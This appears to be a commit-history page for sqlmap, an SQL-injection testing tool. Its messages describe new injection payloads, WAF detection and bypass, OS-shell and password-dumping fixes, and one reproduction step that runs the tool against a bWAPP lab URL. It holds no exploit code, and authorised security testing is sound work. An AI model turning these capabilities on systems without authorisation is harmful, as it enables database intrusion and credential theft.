Compare commits

...
353 Commits
Author SHA1 Message Date
Miroslav Stampar 54ca69fa90 Proper form for excluded case in escaper 2016-10-01 21:15:35 +02:00
Miroslav Stampar d8dd37510c Fixes #2202 2016-10-01 21:02:40 +02:00
Miroslav Stampar d1680b04f3 Minor code consistency update 2016-09-29 21:26:47 +02:00
Miroslav Stampar 102d4b4119 Bug fix for uploading files in case of web subdirectories 2016-09-29 21:14:28 +02:00
Miroslav Stampar b3b49b3492 Minor patch for --parse-errors 2016-09-29 18:07:00 +02:00
Miroslav Stampar 7a89433251 Minor patch 2016-09-29 18:02:20 +02:00
Miroslav Stampar ced6711128 Playing a bit with logo 2016-09-29 15:59:28 +02:00
Miroslav Stampar bdf76f8d4d Revisiting user-agents (newer versions of mainstream browsers) 2016-09-29 15:21:32 +02:00
Miroslav Stampar 571ae174bd Minor language update 2016-09-29 14:55:43 +02:00
Miroslav Stampar 332726356c Minor language update 2016-09-29 14:03:46 +02:00
Miroslav Stampar 4ea9d3b884 Replacing generic concatenation || with CONCAT (far better choice) 2016-09-29 13:35:16 +02:00
Miroslav Stampar 3409953538 Revisiting default level 1 payloads (MySQL stacked queries are as frequent as double rainbows) 2016-09-29 12:59:51 +02:00
Miroslav Stampar 3b3ab072e6 Adding short option(s) for setting verbosity (e.g. -vvv) 2016-09-29 11:19:25 +02:00
Miroslav Stampar fef407e09c Making HTTP requests up to 20% smaller (fine tuning the request headers) 2016-09-29 10:44:00 +02:00
Miroslav Stampar 5afccce3c6 Minor patch 2016-09-28 16:56:47 +02:00
Miroslav Stampar e439095593 Bug fix for MySQL's --os-pwn 2016-09-28 15:39:34 +02:00
Miroslav Stampar e77126e847 Removing obsolete functionality 2016-09-28 15:00:26 +02:00
Miroslav Stampar 3ef01f0e31 Minor update 2016-09-28 14:48:33 +02:00
Miroslav Stampar d36b5c0a4b Adding time-based blind (heavy query) payloads for Informix (Issue #552) 2016-09-28 10:30:09 +02:00
Miroslav Stampar e5a758bdf4 Fixes #2192 2016-09-28 09:55:14 +02:00
Miroslav Stampar 617509869d Minor patch for Informix --parse-errors 2016-09-27 14:58:10 +02:00
Miroslav Stampar 5079c42788 Adding Informix parameter replacement payloads (Issue #552) 2016-09-27 14:39:17 +02:00
Miroslav Stampar bc7ab01066 Bug fix for generic parameter replacement (CASE) 2016-09-27 14:29:18 +02:00
Miroslav Stampar 212c1ec1f2 Couple of fixes and some testing stuff 2016-09-27 14:03:59 +02:00
Miroslav Stampar 381deb68ff Implementation for an Issue #2137 2016-09-27 13:26:11 +02:00
Miroslav Stampar ba0facb5eb Removal of unused imports 2016-09-27 11:23:31 +02:00
Miroslav Stampar 7151df16f6 Adding extra validation step in case of boolean-based blind (e.g. if unexpected 500 occurs) 2016-09-27 11:21:12 +02:00
Miroslav Stampar 8994bf2dba Further dealing with time-based SQLi (Issue #1973) 2016-09-27 10:32:22 +02:00
Miroslav Stampar 09617c8243 Introducing extra validation property in case of time-based SQLi (HTTP code) - Issue #1973 2016-09-27 10:20:36 +02:00
Miroslav Stampar 556b4d289e Minor cosmetic patch (removing multiple same content '...appears...' messages) 2016-09-26 17:02:40 +02:00
Miroslav Stampar 978f56ad10 One more commit for #552 (--passwords) 2016-09-26 16:38:03 +02:00
Miroslav Stampar aa0b97b562 Support for Informix --roles/--privileges (Issue #552) 2016-09-26 14:20:04 +02:00
Miroslav Stampar df645d7d3d Update for column types (Issue #552) 2016-09-23 18:03:31 +02:00
Miroslav Stampar 035137ef4e Bug fix in detection engine (abstract URI header sometimes caused problems - e.g. when automatic --string used) 2016-09-23 17:38:14 +02:00
Miroslav Stampar 484d9a4825 Implementation of --dump for Informix (Issue #552) 2016-09-23 17:21:48 +02:00
Miroslav Stampar 65c305cff0 Fixes #2174 2016-09-23 15:41:12 +02:00
Miroslav Stampar 9a5fc5ccf4 New auxiliary (extra) file (for administration purposes) 2016-09-23 13:57:18 +02:00
Miroslav Stampar 51a1973224 Stripping PostgreSQL .so files for size issues (Issue #2173) 2016-09-23 13:52:57 +02:00
Miroslav Stampar 2f2a63334a Minor cleanup 2016-09-23 13:39:27 +02:00
Miroslav Stampar 23afeb4c7a Fixes #2176 2016-09-23 13:37:44 +02:00
Miroslav Stampar b387fb219d Fixes #2175 2016-09-23 12:45:06 +02:00
Miroslav Stampar 1b48ff223d Adding initial support for Informix (Issue #552) 2016-09-23 12:33:27 +02:00
Miroslav Stampar 640e605412 More CTF friendly (common column and table name flag :) 2016-09-23 12:31:28 +02:00
Miroslav Stampar e10bb42597 Minor tweak 2016-09-22 10:22:48 +02:00
Miroslav Stampar 9902018cab Implementation for an Issue #2172 2016-09-21 15:45:55 +02:00
Miroslav Stampar 56a918c408 Minor refactoring 2016-09-20 10:03:00 +02:00
Miroslav Stampar bcd62ecc5b Minor optimization (avoiding unnecessary deepcopies) 2016-09-20 09:56:08 +02:00
Miroslav Stampar e519484230 Patching live-testing 2016-09-19 15:51:28 +02:00
Miroslav Stampar a2c8f1deb1 Update PgSQL fingerprinting payloads 2016-09-19 14:23:51 +02:00
Miroslav Stampar 12dc53f687 Minor update 2016-09-19 13:54:06 +02:00
Miroslav Stampar b3b5bd267d Adding new tamper script (on request from @MilanGabor) 2016-09-15 17:59:01 +02:00
Miroslav Stampar edcfffc279 Merge pull request #2170 from ClementNotin/ClementNotin-patch-netscaler.py
Fix "or-assign" for return value in netscaler.py
2016-09-15 17:29:31 +02:00
Clément Notin 3bbfd0665c Fix "or-assign" for return value in netscaler.py 2016-09-15 16:56:49 +02:00
Miroslav Stampar 921a53e314 Patch for counter in --smoke-test 2016-09-09 14:59:22 +02:00
Miroslav Stampar 32dd4a938c Minor patch of message 2016-09-09 11:37:16 +02:00
Miroslav Stampar 9930f1b55b Speed optimization(s) 2016-09-09 11:06:38 +02:00
Miroslav Stampar 8581d9e2ca Minor improvement of SELECT_FROM_TABLE_REGEX 2016-09-09 09:45:48 +02:00
Miroslav Stampar 1a613ed9a8 Minor update 2016-09-08 14:08:14 +02:00
Miroslav Stampar 78e398d9c4 Fixes #2136 2016-09-06 15:03:17 +02:00
Miroslav Stampar e3c3c2c185 Fixes #2148 2016-09-06 14:25:29 +02:00
Miroslav Stampar 4e36bbaff9 Update related to the last commit 2016-09-04 03:09:28 +02:00
Miroslav Stampar 603e9739ae Fixes #2146 2016-09-04 01:33:52 +02:00
Miroslav Stampar 6b91b7b7fa Minor cosmetics 2016-09-02 16:10:11 +02:00
Miroslav Stampar 2e62fda57d Minor update 2016-09-02 15:55:33 +02:00
Miroslav Stampar 5ad27264a2 Patches #2143 2016-09-02 15:52:07 +02:00
Miroslav Stampar c4d8cab50c Version string bug fix 2016-09-02 14:25:56 +02:00
Miroslav Stampar 577e346774 Fixes #2144 2016-09-02 14:20:17 +02:00
Miroslav Stampar 81c6aad129 Merge pull request #2138 from TrinTragula/Italian_Translation
Translated README-it-IT in order to make it even more italian-friendly.
2016-09-01 09:43:52 +02:00
TrinTragula 775325556e Translated in order to make it even more italian-friendly 2016-08-30 07:26:28 -04:00
Miroslav Stampar 375abd50ee Minor update for #2134 2016-08-30 12:36:32 +02:00
Miroslav Stampar e718e2732e Merge pull request #2134 from TrinTragula/Italian_Translation
Added Italian version of README
2016-08-30 12:35:14 +02:00
TrinTragula 8c8764368f Added Italian version of README and added link to it on the english version 2016-08-27 20:32:13 -04:00
Miroslav Stampar 4a815ab56f Patch for an Issue #1250 2016-08-27 23:54:09 +02:00
Miroslav Stampar 6564adc984 Minor patch for buffered write into checksum.md5 2016-08-27 23:34:12 +02:00
Miroslav Stampar ad5b8017f5 Minor refactoring 2016-08-26 12:28:35 +02:00
Miroslav Stampar 72e5a79288 Fixes #2106 2016-08-19 11:07:42 +02:00
Miroslav Stampar 63f4b3462f Fixes #2105 2016-08-15 18:35:04 +02:00
Miroslav Stampar a45a90df94 Adding new WAF script (Yunsuo) 2016-08-12 14:32:03 +02:00
Miroslav Stampar ec1ac81e0a Minor refactoring 2016-08-08 16:08:16 +02:00
Miroslav Stampar 6ba46bf7cf Update for #2086 (lowercasing only the command) 2016-08-08 15:55:39 +02:00
Miroslav Stampar a1f85df12b Merge pull request #2086 from deadworoz/patch-1
Converting a command to lowercase breaks a case-sensitive URL
2016-08-08 15:48:41 +02:00
deadworoz 9c2c3894d6 Converting a command to lowercase breaks a case-sensitive URL
To reproduce the bug:
1. Start the server: ./sqlmapapi.py -s
2. Start the client: ./sqlmapapi.py -c
3. Add a new task with a case-sensitive URL: new -u "http://vbox.lc/bWAPP/sqli_4.php?title=iron+man&action=search"
4. Check the log: 
...
"message": "testing connection to the target URL"
...
"message": "page not found (404)"
...
"message": "HTTP error codes detected during run:\n404 (Not Found) - 1 times"

5. Check that sqlmap.py correcty work with same parameters: ./sqlmap.py -u "http://vbox.lc/bWAPP/sqli_4.php?title=iron+man&action=search"

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS/IDS
2016-08-08 14:48:25 +04:00
Miroslav Stampar b92fc840fe Adding pypi script to the repository 2016-08-02 13:21:05 +02:00
Miroslav Stampar ef79bbf7d2 Minor patch 2016-08-02 12:38:57 +02:00
Miroslav Stampar fba1199cd2 Minor consistency update 2016-08-02 12:05:39 +02:00
Miroslav Stampar 4022a68523 Removing last debug commit 2016-08-02 12:01:49 +02:00
Miroslav Stampar 67bc3ed359 Trying out the last commit 2016-08-02 12:01:02 +02:00
Miroslav Stampar a0ddd99087 Minor update for automatic PyPI packaging 2016-08-02 12:00:21 +02:00
Miroslav Stampar 2a7ef58c9f Minor refactoring 2016-08-02 11:55:11 +02:00
Miroslav Stampar 35010006a1 Some cosmetic changes 2016-08-02 11:50:42 +02:00
Miroslav Stampar acfe788c95 Preparing for #1250 2016-08-02 00:17:59 +02:00
Miroslav Stampar 5ccb73a1ee Minor patch for Python3 check 2016-07-29 15:30:59 +02:00
Miroslav Stampar 6ac5b6b759 Minor refactoring 2016-07-28 17:04:15 +02:00
Miroslav Stampar d82f20abc4 Fixes #2068 2016-07-28 17:02:27 +02:00
Miroslav Stampar 10eafa35fd Adding CloudFlare CAPTCHA warning 2016-07-23 23:02:15 +02:00
Miroslav Stampar 9105f259cd Fixes #2060 (ParseError has been added in Python 2.7) 2016-07-23 15:27:25 +02:00
Miroslav Stampar 7cca56edfa Fixes #2052 2016-07-21 09:38:52 +02:00
Miroslav Stampar e21d751834 Fixes #2049 2016-07-20 20:04:44 +02:00
Miroslav Stampar ebb73b71fa Fixes #2045 2016-07-20 16:49:27 +02:00
Miroslav Stampar 1ca633ae64 Fixes #2031 2016-07-17 23:30:40 +02:00
Miroslav Stampar 3e22cbfed7 Minor update 2016-07-17 00:34:14 +02:00
Miroslav Stampar c7f615f707 Renaming payload files (consistency with the rest of the project) 2016-07-17 00:21:16 +02:00
Miroslav Stampar b83ee92cd1 Minor modification 2016-07-17 00:09:09 +02:00
Miroslav Stampar 571d669a09 Minor modification 2016-07-17 00:07:58 +02:00
Miroslav Stampar e485531b71 Adding integrity checks in case of unhandled exceptions 2016-07-17 00:04:30 +02:00
Miroslav Stampar 7427b554e3 Adding support for integrity checks 2016-07-16 23:25:13 +02:00
Miroslav Stampar 1a818ceccd Adding error message regarding #2030 2016-07-16 22:47:16 +02:00
Miroslav Stampar 7fea8d608e Fixes #2028 2016-07-16 22:42:15 +02:00
Miroslav Stampar 1e6191e3b1 Fixes #2026 2016-07-16 15:51:09 +02:00
Miroslav Stampar c10b2825d7 Patch for --os-shell against Windows/MySQL where resulting \r caused trouble 2016-07-15 11:56:51 +02:00
Miroslav Stampar c200b2cb19 Another fix (related to the last commit) 2016-07-15 11:45:59 +02:00
Miroslav Stampar 071f4c8a2b Bug fix (reported privately) - better parsing of file paths (especially for Windows cases) 2016-07-15 11:13:47 +02:00
Miroslav Stampar 5097a2c79e Less timeout error messages (because of server dropping of non-active connections) 2016-07-15 00:33:33 +02:00
Miroslav Stampar bce9db1af5 Adding support for --columns too (Issue #2025) 2016-07-15 00:10:41 +02:00
Miroslav Stampar ca67456dbe Removing a debugging leftover (Issue #2025) 2016-07-14 23:39:44 +02:00
Miroslav Stampar 6df4d73b09 Implementation for an Issue #2025 2016-07-14 23:18:28 +02:00
Miroslav Stampar 2aaa486f7a Minor code style update 2016-07-13 14:09:33 +02:00
Miroslav Stampar 47ba7d4705 Minor update 2016-07-07 10:37:00 +02:00
Miroslav Stampar 6a8bfd5fd8 Update for an Issue #2011 2016-07-07 09:20:44 +02:00
Miroslav Stampar 1df94747e1 Merge pull request #2011 from guinslym/fr-FR
Added a French translation fr-Fr
2016-07-07 09:17:42 +02:00
Guinsly Mondesir 4092c701fe french translation 2016-07-06 21:05:38 -04:00
Guinsly Mondesir 4939bd49b0 french translation 2016-07-06 21:01:48 -04:00
Guinsly Mondesir c6fb3d35d8 french translation 2016-07-06 21:00:13 -04:00
Guinsly Mondesir aad0bd8705 french translation 2016-07-06 20:58:29 -04:00
Guinsly Mondesir b69f635a3f french translation 2016-07-06 20:56:36 -04:00
Guinsly Mondesir eeae696b1b french translation 2016-07-06 20:54:16 -04:00
Guinsly Mondesir e1c8bc0e01 french translation 2016-07-06 20:53:48 -04:00
Guinsly Mondesir 4b0acee585 french translation 2016-07-06 20:52:03 -04:00
Guinsly Mondesir d74612eb4c french translation 2016-07-06 20:50:31 -04:00
Guinsly Mondesir 88c33974ac french translation 2016-07-06 20:48:57 -04:00
Guinsly Mondesir e5d7bfe453 french translation 2016-07-06 20:47:35 -04:00
Guinsly Mondesir 99d23237b4 french translation 2016-07-06 20:44:56 -04:00
Guinsly Mondesir 08d750197c french translation 2016-07-06 20:44:26 -04:00
Guinsly Mondesir d35bdf6eaa french translation 2016-07-06 20:43:31 -04:00
Guinsly Mondesir d332e00eb0 french translation 2016-07-06 20:42:55 -04:00
Guinsly Mondesir 9d5499597f french translation 2016-07-06 20:42:24 -04:00
Guinsly Mondesir c0f8bbbc72 french translation 2016-07-06 20:41:39 -04:00
Guinsly Mondesir 1684d60782 french translation version 2.0 2016-07-06 20:40:25 -04:00
Guinsly Mondesir af6a977c9a moving the French translation to another folder 2016-07-06 19:45:50 -04:00
Guinsly Mondesir f20263f235 creating a base file for fr tranlsation 2016-07-06 19:44:37 -04:00
Miroslav Stampar 2e42afea6f Update of sucury WAF script 2016-07-06 23:43:21 +02:00
Miroslav Stampar 292a28131d Minor updates 2016-07-06 23:43:10 +02:00
Miroslav Stampar 2e775fbb75 (e.g.) ASPx MsSQL Chinese exception messages don't start with 'Exception: string' 2016-07-06 14:06:18 +02:00
Miroslav Stampar e1d7641b8a Good for different generic OleDB-alike connectors 2016-07-06 13:48:35 +02:00
Miroslav Stampar 6b0951d1ee Switching default Tor type to SOCKS5 (various bundles are discontinued) 2016-07-06 13:30:46 +02:00
Miroslav Stampar db1fc621b5 Update for SonicWALL WAF script; lesser false positives with ModSecurity WAF script 2016-07-06 13:19:51 +02:00
Miroslav Stampar 9351756c36 Minor update of format exception strings 2016-07-05 16:02:34 +02:00
Miroslav Stampar 63b645c64c Removing a debugging leftover 2016-07-05 09:32:30 +02:00
Miroslav Stampar 7ad49f4185 Less problematic regexes for MsSQL errors 2016-07-05 09:32:08 +02:00
Miroslav Stampar d9315830f9 Less problematic regex for MsSQL errors 2016-07-05 09:20:04 +02:00
Miroslav Stampar 2e2c62b6a7 More error regexes 2016-07-04 17:24:17 +02:00
Miroslav Stampar 53289b0234 Some more Informix error regexes 2016-07-04 10:03:36 +02:00
Miroslav Stampar dd082ef79d Minor update (new error regex for Informix) 2016-07-04 09:49:18 +02:00
Miroslav Stampar 2c968f9a35 Closes #2007 2016-07-04 09:12:30 +02:00
Miroslav Stampar 74d0315fef Update related to the last commit 2016-07-03 02:14:23 +02:00
Miroslav Stampar ae98159130 Automatic monthly tagging 2016-07-03 02:03:30 +02:00
Miroslav Stampar 3a9e36c52b Reintroducing stacked queries removed in 79d08906a4 (good for WAF bypass) 2016-07-03 02:03:30 +02:00
Miroslav Stampar cb43c03712 Definite patch for MemoryError(s) (fixes #1991) 2016-06-30 14:57:56 +02:00
Miroslav Stampar 65a0f15f69 Minor update (error regex for PHP's sqlsrv module) 2016-06-28 15:13:37 +02:00
Miroslav Stampar 98b77d32cc Minor update 2016-06-27 11:16:41 +02:00
Miroslav Stampar 86a3569ccb New WAF script (SonicWALL) 2016-06-26 16:42:05 +02:00
Miroslav Stampar 17fca351d3 Minor update 2016-06-26 16:26:13 +02:00
Miroslav Stampar 2614e7bec1 Minor update 2016-06-26 16:23:39 +02:00
Miroslav Stampar 832c6e806f Revert of last commit 2016-06-26 15:59:35 +02:00
Miroslav Stampar 7b334b0808 'Conversion failed' happens in regular SQLi on MsSQL 2016-06-26 15:57:11 +02:00
Miroslav Stampar aa9151785e Minor update 2016-06-26 15:37:30 +02:00
Miroslav Stampar 6bdef1b7da Minor update 2016-06-26 01:46:49 +02:00
Miroslav Stampar 8b4367d354 Revert of last commit 2016-06-26 01:42:21 +02:00
Miroslav Stampar 0a9d69a7d0 Minor patch 2016-06-26 01:10:47 +02:00
Miroslav Stampar a4b60dc00f New error regex for MsSQL 2016-06-26 00:40:54 +02:00
Miroslav Stampar f91ae32284 Minor update (to not confuse S3 vs Cloudfront) 2016-06-24 13:39:13 +02:00
Miroslav Stampar 53fc9d6720 Fixes #1990 2016-06-24 13:31:19 +02:00
Miroslav Stampar 0b31568306 Minor update 2016-06-24 13:28:08 +02:00
Miroslav Stampar e9407cf791 Cleaning some garbage boundaries (it doesn't make any sense to use %00 as prefix) 2016-06-23 22:57:59 +02:00
Miroslav Stampar 0175acd028 Bug fix (in some cases lack of warning message for SQLi appearing) 2016-06-23 17:52:37 +02:00
Miroslav Stampar 733a32de32 Minor patch 2016-06-23 12:09:51 +02:00
Miroslav Stampar 1b863ecf93 Far better detection of SecureIIS (WAF) 2016-06-23 12:03:05 +02:00
Miroslav Stampar ec06037335 Update of bigip waf script 2016-06-23 11:41:49 +02:00
Miroslav Stampar 0cdb62a1b5 Adding new waf script (armor) 2016-06-23 11:15:31 +02:00
Miroslav Stampar 99454198b8 Minor refactoring 2016-06-20 10:01:57 +02:00
Miroslav Stampar dd6287ace8 Fixes #1972 2016-06-20 09:59:50 +02:00
Miroslav Stampar 786460e3b4 Minor just in case patch 2016-06-19 17:44:47 +02:00
Miroslav Stampar 419cf979f1 Showing again the 'shutting down at ...' message 2016-06-19 17:17:01 +02:00
Miroslav Stampar 30be875304 Patch for an Issue #1968 2016-06-18 01:21:57 +02:00
Miroslav Stampar 7d011bc811 Fixes #1964 2016-06-17 17:07:44 +02:00
Miroslav Stampar b2c4a3b247 Fixes #1960 2016-06-17 16:54:23 +02:00
Miroslav Stampar 9d9592a69b Fixes #1963 2016-06-17 16:51:23 +02:00
Miroslav Stampar cb42294a7e Minor message update 2016-06-15 07:57:10 +02:00
Miroslav Stampar 146762c109 Minor update 2016-06-15 07:54:47 +02:00
Miroslav Stampar 494b9d1586 Fixes #1943 2016-06-13 15:30:38 +02:00
Miroslav Stampar 2e95fdb52d Fixes #1947 2016-06-13 14:50:44 +02:00
Miroslav Stampar 46736cac7b Fixes #1931 2016-06-10 18:41:41 +02:00
Miroslav Stampar 041213f22d Fixes #1935 2016-06-10 18:18:48 +02:00
Miroslav Stampar 8ca45c5678 Fixes #1936 2016-06-10 18:02:24 +02:00
Miroslav Stampar c6eec8db97 Fixes #1938 2016-06-10 17:52:22 +02:00
Miroslav Stampar 98fdc493f4 Proper patch for #1923 (Fixes #1940, #1941) 2016-06-10 17:42:11 +02:00
Miroslav Stampar 91372bff87 Fixes #1932 2016-06-08 08:20:54 +02:00
Miroslav Stampar 7fb9db42a7 Performing a backup of old dump file (Issue #841) 2016-06-05 12:37:19 +02:00
Miroslav Stampar 82382957f9 Minor refactoring 2016-06-05 12:25:42 +02:00
Miroslav Stampar f034122bd0 Fixes #1920 2016-06-05 12:14:01 +02:00
Miroslav Stampar 0df2456f34 Fixes #1923 2016-06-03 16:06:29 +02:00
Miroslav Stampar 78fdb27a0b More improvements 2016-06-03 15:51:52 +02:00
Miroslav Stampar 350baf0a0a Minor update 2016-06-03 14:29:32 +02:00
Miroslav Stampar 9886b646eb Proper update regarding the last commit 2016-06-03 14:18:28 +02:00
Miroslav Stampar c5197b99a0 Minor patch and minor improvement 2016-06-03 13:59:32 +02:00
Miroslav Stampar cc313280af Payload that never ever worked (now fixed) 2016-06-03 13:16:00 +02:00
Miroslav Stampar f06ff42c58 This never worked. Not sure who incorporated it (WAITFOR DELAY can't go to SELECT/CASE) 2016-06-03 10:42:57 +02:00
Miroslav Stampar 4bc1cf4518 Vastly better patch for MsSQL payloads 2016-06-03 10:29:04 +02:00
Miroslav Stampar 0e65043c84 Minor adjustment 2016-06-03 09:48:49 +02:00
Miroslav Stampar d7d565415a Patch for MySQL fingerprinting 2016-06-03 02:31:31 +02:00
Miroslav Stampar 0986ec8948 Update for Oracle fingerprinting 2016-06-03 02:27:59 +02:00
Miroslav Stampar 50bced511f Adding support for fingerprinting MsSQL 2014 and 2016 2016-06-03 02:24:19 +02:00
Miroslav Stampar e275e8c0b0 Fixes #1921 2016-06-03 02:02:11 +02:00
Miroslav Stampar 77dea38ac1 Fixes #1918 2016-06-03 00:37:18 +02:00
Miroslav Stampar 7dc2ec5fd8 Minor touch 2016-06-01 20:42:09 +02:00
Miroslav Stampar 4bf2e3b139 Minor update 2016-06-01 20:37:05 +02:00
Miroslav Stampar 8114c14755 Removing leftover 2016-06-01 16:32:22 +02:00
Miroslav Stampar ec8cf6aadc Adding support for detecting CAPTCHA 2016-06-01 15:48:04 +02:00
Miroslav Stampar d326965966 Reordering MySQL's error-based payloads (BIGINT and EXP have crazy bigger chunk lenghts) 2016-06-01 14:12:22 +02:00
Miroslav Stampar 030df0353d Removing ugly legacy code (e.g. showing MySQL 5.0 when it is e.g. '5.7.8') 2016-06-01 13:47:20 +02:00
Miroslav Stampar 5038d7a70a Removing ugly boolean check results (0 or 1) in output of UNION and ERROR SQLi 2016-06-01 13:39:40 +02:00
Miroslav Stampar f0b8fbb7fd Implemented support for JSON_KEYS error-based SQLi (and tons of fixes for MySQL 'ORDER BY,GROUP BY' payloads) 2016-06-01 13:23:41 +02:00
Miroslav Stampar 5810c2b199 Minor patch 2016-06-01 11:30:27 +02:00
Miroslav Stampar 77f0b5dfa8 Fixes #1919 2016-06-01 10:56:42 +02:00
Miroslav Stampar b0ea74dc63 Minor warning message update 2016-06-01 10:53:32 +02:00
Miroslav Stampar 0c07c8942c Automatic monthly tagging 2016-06-01 10:44:08 +02:00
Miroslav Stampar 7d1bdb35ca Update of parsed versions 2016-06-01 10:44:08 +02:00
Miroslav Stampar e823889819 Update for JSP exceptions 2016-05-31 15:35:10 +02:00
Miroslav Stampar 680aedaefc Adding option --tmp-dir 2016-05-31 14:55:56 +02:00
Miroslav Stampar afdca09ced Minor patches (proper user warnings in case of output directory permissions) 2016-05-31 14:05:35 +02:00
Miroslav Stampar ac89ee71c3 Minor improvement 2016-05-31 13:29:43 +02:00
Miroslav Stampar af7c8cff92 Bug fix (previously removing temporary directory even if it is needed afterwards) 2016-05-31 13:21:08 +02:00
Miroslav Stampar 26d4dec5fb Minor refactoring 2016-05-31 13:02:26 +02:00
Miroslav Stampar cf31d12528 Adding support for python's cgitb tracebacks 2016-05-31 12:33:56 +02:00
Miroslav Stampar b4c730f8c0 Minor refactoring 2016-05-31 12:23:59 +02:00
Miroslav Stampar fba1720b31 Minor patch 2016-05-31 11:16:13 +02:00
Miroslav Stampar 9fad72f28b Adding support for MsAccess usage of parsed FROM table names (e.g. in case of ColdFusion) 2016-05-31 11:08:23 +02:00
Miroslav Stampar 1782bf8e64 Adding support for parsing ODBC/JDBC error messages 2016-05-31 10:49:34 +02:00
Miroslav Stampar 2d59a10515 Better patch than last commit 2016-05-31 10:25:01 +02:00
Miroslav Stampar 21a25c4f00 Bug for fix comments in case of MsAccess 2016-05-31 10:24:13 +02:00
Miroslav Stampar 6b5c16c22c Minor update for ColdFusion error messages 2016-05-31 09:54:14 +02:00
Miroslav Stampar 2c6621c26a Minor upgrade for WAF/IDS/IPS detection 2016-05-31 09:49:50 +02:00
Miroslav Stampar f0500b1d2f Minor update for ColdFusion path regexes 2016-05-31 09:35:58 +02:00
Miroslav Stampar 6a033bb58c Minor update for ColdFusion type casting 2016-05-31 09:31:32 +02:00
Miroslav Stampar 2fa4b22645 Patch for URL encoding cookie values (asking the user to choose) 2016-05-30 17:47:08 +02:00
Miroslav Stampar 229d3a7dd0 Patch for cases when error page looks more like original, than the False one does 2016-05-30 16:46:23 +02:00
Miroslav Stampar b965e5bf1c Minor refactoring 2016-05-30 16:06:39 +02:00
Miroslav Stampar 3bd74c5351 Minor patch 2016-05-30 15:20:21 +02:00
Miroslav Stampar 55624ec1a2 Minor message update 2016-05-30 14:40:22 +02:00
Miroslav Stampar 6885afe8c3 Minor update for requestvalidationmode.py waf script 2016-05-30 14:26:55 +02:00
Miroslav Stampar acc1277246 Minor update 2016-05-30 14:13:57 +02:00
Miroslav Stampar 935cb9c8cb Patch for a custom header cookie urlencoding 2016-05-30 14:09:53 +02:00
Miroslav Stampar 17a4ddad63 Fixes #1916 2016-05-30 13:10:25 +02:00
Miroslav Stampar 5264671f5b Dump formatting patch for MsAccess 2016-05-30 12:03:33 +02:00
Miroslav Stampar b4ebbae354 New payload(s) 2016-05-30 11:25:24 +02:00
Miroslav Stampar 510197c39e Minor text update 2016-05-30 10:52:30 +02:00
Miroslav Stampar b6a4bd91fe Minor text update 2016-05-30 10:51:35 +02:00
Miroslav Stampar 83b82a5e98 Bug fix (wrong handler used in case of DBMS resolution) 2016-05-30 10:32:49 +02:00
Miroslav Stampar 0b1efc0759 Minor update (for newer versions of MsSQL) 2016-05-30 01:38:34 +02:00
Miroslav Stampar 2b506d744d Minor update 2016-05-30 01:29:40 +02:00
Miroslav Stampar 79d08906a4 Cleaning some redundant payload(s) 2016-05-27 23:59:48 +02:00
Miroslav Stampar d27b33e26c Update README.md 2016-05-27 23:03:59 +02:00
Miroslav Stampar 73d86f0fdd Merge pull request #1898 from kuma-guy/ja-JP
Adding translation for README in Japanese(JP).
2016-05-27 23:02:11 +02:00
Miroslav Stampar 6327063bd0 Minor patch 2016-05-27 16:43:01 +02:00
Miroslav Stampar 69fd900108 Adding waf script for detection of generic/unknown 2016-05-27 16:34:41 +02:00
Miroslav Stampar f9d01f682b Cloudflare has tons of HTTP error codes while detecting SQLi 2016-05-27 15:58:16 +02:00
Miroslav Stampar d7d3db415b Minor update 2016-05-27 15:32:30 +02:00
Miroslav Stampar 608f141f52 New waf scripts 2016-05-27 15:22:08 +02:00
Miroslav Stampar 31850e4544 Minor bug fixes 2016-05-27 13:58:18 +02:00
Miroslav Stampar de9f23939f Major bug fix in WAF/IDS/IPS detection (question 'do you want..to try to detect backend WAF/IPS/IDS' never worked) 2016-05-27 13:41:03 +02:00
Miroslav Stampar 154ed2c4e2 Minor patch 2016-05-27 13:33:14 +02:00
Miroslav Stampar 89dfe4e1ac Adding wallarm WAF script (and couple of other WAF script updates) 2016-05-27 11:58:18 +02:00
Miroslav Stampar b41b07ddd8 Updates for 360 and jiasule WAF scripts 2016-05-27 11:02:05 +02:00
Miroslav Stampar e36fc02282 Adding sophos WAF script 2016-05-27 10:17:42 +02:00
Miroslav Stampar 49b41c1eca Minor update for cloudflare waf script 2016-05-27 09:43:54 +02:00
Miroslav Stampar 4cd9fdb7df Minor update for F5 waf script 2016-05-27 09:27:45 +02:00
Miroslav Stampar 5aab2d8fb5 Update for Akamai Kona WAF script 2016-05-27 09:22:39 +02:00
Miroslav Stampar 210b65c02d Couple of fixes for --identify-waf 2016-05-27 02:24:59 +02:00
Miroslav Stampar 7a2ac23f0b Adding new waf script (sitelock) 2016-05-27 02:13:01 +02:00
Miroslav Stampar e435fb2e9e Adding new waf script (comodo) 2016-05-27 01:23:20 +02:00
Miroslav Stampar 6892c94595 Minor update 2016-05-27 01:10:37 +02:00
Miroslav Stampar 831c960216 Update for an Issue #1899 2016-05-26 16:47:38 +02:00
Miroslav Stampar 43af2a4aee Fixes #1899 2016-05-26 16:08:59 +02:00
Shingo Kumagai 190819e85d Adding translation for README in Japanese(JP). 2016-05-26 09:37:45 +09:00
Miroslav Stampar 1de6996c26 Fixes #1893 2016-05-25 15:43:39 +02:00
Miroslav Stampar 304f2ed308 Minor language patch 2016-05-25 15:32:17 +02:00
Miroslav Stampar 148b35da4f Better extraction of absolute file paths 2016-05-25 15:29:25 +02:00
Miroslav Stampar 3865b3a398 Minor improvement in case of technique E (when waiting for large entry - lots of chunks) 2016-05-25 12:50:53 +02:00
Miroslav Stampar d6bcbbae1d Minor patch for E technique to be more compatible with output of U technique 2016-05-25 12:42:15 +02:00
Miroslav Stampar 04b3aefc5d Patch for special character output in U and E techniques 2016-05-25 12:24:36 +02:00
Miroslav Stampar a5f8cae599 Fixes #1892 2016-05-24 17:58:35 +02:00
Miroslav Stampar 29c3037512 Better asciinema recording (shorter width) 2016-05-24 17:26:10 +02:00
Miroslav Stampar d0d7d3a205 Update of location of a sample run 2016-05-24 17:12:44 +02:00
Miroslav Stampar 7ce36ea1b6 Removal of unused imports 2016-05-24 16:40:44 +02:00
Miroslav Stampar 6f97f4796b Fixes #1891 2016-05-24 16:34:07 +02:00
Miroslav Stampar 39fe96009f Minor improvement (related to the last commit) 2016-05-24 16:20:39 +02:00
Miroslav Stampar b475a38895 Better ORDER BY detection 2016-05-24 15:46:06 +02:00
Miroslav Stampar 42de887b05 Language update 2016-05-24 15:18:19 +02:00
Miroslav Stampar 28576bf08e Minor output update 2016-05-24 15:08:04 +02:00
Miroslav Stampar c395958dff Fixes #1888 2016-05-24 14:55:19 +02:00
